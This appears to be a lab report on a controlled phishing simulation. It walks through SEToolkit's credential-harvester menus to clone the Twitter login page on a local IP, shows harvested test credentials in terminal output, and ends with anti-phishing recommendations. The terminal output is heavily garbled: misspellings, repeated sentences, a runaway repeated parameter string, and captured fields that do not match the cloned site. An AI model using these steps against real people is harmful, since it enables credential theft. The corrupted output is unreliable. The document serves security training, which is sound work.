TASK 2

SOCIAL ENGINEERING & PHISHING SIMULATION

Objective:

To conduct a simulated phishing attack in a controlled setting using the Social Engineering Toolkit (SEToolkit), showcasing how attackers can obtain sensitive data—such as usernames and passwords—by creating and using cloned login pages.

Tools Used:

- Social Engineering Toolkit (SEToolkit)
- Apache Web Server (automatically handled by SET)

Scenario Description:

A phishing simulation was conducted by cloning the login page of Twitter using SEToolkit. The phishing page was hosted locally on the attacker's machine at IP address 192.168.1.9, Once a victim accessed the page and attempted to log in, their credentials were harvested and displayed in the terminal.

Sequence of Events:

- Launched SEToolkit using `sudo setoolkit`.
- Selected:
 - 1) Social-Engineering Attacks > 2) Website Attack Vectors > 3) Credential Harvester Attack Method > 2) Site Cloner.
- Entered local IP: 192.168.1.9
- Cloned site: http://www.twitter.com/login
- Started credential harvester server on port 80.
- Monitored the terminal for captured credentials.

```
Same web application you were attempting to clone.

The third method allows you to import your own website, note that you should only have an index.html when using the import website functionality.

1) Web Templates

2) Site Cloner

3) Custom Import

9) Return to Webattack Menu

***Extembattantby?**

[-] Creamentol harvester will allow you to utilize the clone capabilities within SET

[-] to harvest credentials or parameters from a website as well as place them into a report

--- * IMPORTANT * READ THIS BEFORE ENTERING IN THE IP ADDRESS * IMPORTANT * ---

The way that this works is by cloning a site and looking for form fields to rewrite. If the POST fields are not usual methods for posting foras this could fail. If it does, you can always save the HTML, rewrite the forms to be standard forms and use the "IMPORT Feature. Additionally, rely undon't know best and only for your VAT address. Additionally, if you don't know hasten entworking concepts, and you have a private IP address, you will need to do port forwarding to your NAT 1P address. Additionally, if you don't know basten entworking concepts, and you have a private IP address, you will need to do port forwarding to your NAT 1P address. Additionally, if you don't know hasten entworking concepts, and you have a private IP address, you will need to do port forwarding to your NAT 1P address. A box will need to do port forwarding to your NAT 1P address. Additionally, if you don't know hasten entworking concepts, and you have a private IP address. A box membership works.

**Setimebattacks** IP address for the ROST back in Harvester/Tabnabbing [192.168.1.9]:

[-] Example: http://www.thisisafakssite.com

$\frac{1}{2}$ This Social-Engineer Toolkit credential Harvester Attack

[-] This Social-Engineer Toolkit credential Harvester Attack

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[-] Information will be displayed to you as it arrives below:
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Results:

The phishing page successfully captured the following login data from the victim:

- Username: admin@gmail.com

- Password: admin123

```
[*] WE GOT A HIT! Printing the output:

PARAM: csrfToken=ajax:2539213633928252420

PARAM: session_key=admin@gmail.com

PARAM: session_key=admin@gmail.com

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PARAM: stostring=8dlbb8c9-e6a1-4725-85f0-7a317f5895be

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PARAM: stostring=8dlbb8c9-e6a1-4725-85f0-7a317f5895be

PARAM: stostring=8dlbb8c9-e6a1-4725-85f0-7a317f5895be

POSSIBLE USERNAME FIELD FOUND: parentPageKey=d_checkpoint_lg_consumerLogin

POSSIBLE USERNAME FIELD FOUND: pageInstance=urn:lt:page:checkpoint_lg_login_default;Ttg+YHxtTiKWaqk+32RSzQ==

PARAM: stostring=8dlbb8c9-e6a1-4725-85f0-7a317f5895be

PARAM: pageInstance=urn:lt:page:checkpoint_lg_login_default;Ttg+YHxtTiKWaqk+32RSzQ==

PARAM: pageInstance=urn:lt:page:checkpoint_lg_login_default;Ttg+YHxtTiKWaqk+32RSzQ==

PARAM: pageInstance=urn:lt:page:checkpoint_lg_login_default;Ttg+YHxtTiKWaqk+32RSzQ==

PARAM: pageInstance=urn:lt:page:checkpoint_lg_login_submit_stostring=urn:lt:pageInstance=urn:lt:pageInstance=urn:lt:pageInstance=urn:lt:pageInstance=urn:lt:pageInstance=urn:lt:pageInstance=urn:lt:pageInstance=urn:lt:pageInstance=urn:lt:pageInstance=urn:lt:pageInstance=urn:lt:pageInstance=urn:lt:pageInstance=urn:lt:pageInstance=urn:lt:pageInstance=urn:lt:pageInstance=urn:lt:pageInstance=urn:lt:pageInstance=urn:lt:pageInstance=urn:lt:pageInstance=urn:lt:pageInstance=urn:lt:pageInstance=urn:lt:pageInstance=urn:lt:pageInstance=urn:lt:pageInstance=urn:lt:pageInstance=urn:lt:pageInstance=urn:lt:pageInstance=urn:lt:pageInstance=urn:lt:pageInstance=urn:lt:pageInstance=urn:lt:pageInstance=urn:lt:pageInstance=urn:lt:pageInstance=urn:lt:pageInstance=urn:lt:pageInstance=urn:lt:pageInstance=urn:lt:pageInstance=urn:lt:pageInstance=urn:lt:pageInstance=urn:lt:pageInstance=urn:lt:pageInstance=urn:lt:pageInstance=urn:lt:pageInstance=urn:lt:pageInstance=urn:lt:pageInstance=urn:lt:pageInstance=urn:lt:pageInstance=urn:lt:pageInstance=urn:lt:pageInstance=urn:lt:pageInstance=urn:lt:pageInstance=urn:lt:pageInstance=urn:lt:pageInstance=urn:lt:
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Security Recommendations:

- Conduct regular employee awareness training on phishing and social engineering attacks.
- Use Multi-Factor Authentication (MFA) to prevent unauthorized access even if credentials are compromised.
- Implement strict email and link filtering solutions to block suspicious phishing links.
- Run internal phishing simulations to assess awareness levels.
- Keep all software, browsers, and plugins up to date to reduce vulnerabilities.
- Restrict access to sensitive systems based on the principle of least privilege.
- Monitor network traffic for unusual or unauthorized activity.
- Enforce strong password policies, including regular updates and complexity requirements.
- Utilize anti-phishing browser extensions and endpoint protection tools.
- Encourage users to report suspicious emails and links through an established incident response process.
- Regularly review and update security policies and incident response plans.

Conclusion

The simulated phishing campaign highlights the impact of social engineering attacks. Even simple cloned login pages can successfully trick users and collect sensitive credentials. To reduce this risk, comprehensive user training and strong technical safeguards are crucial.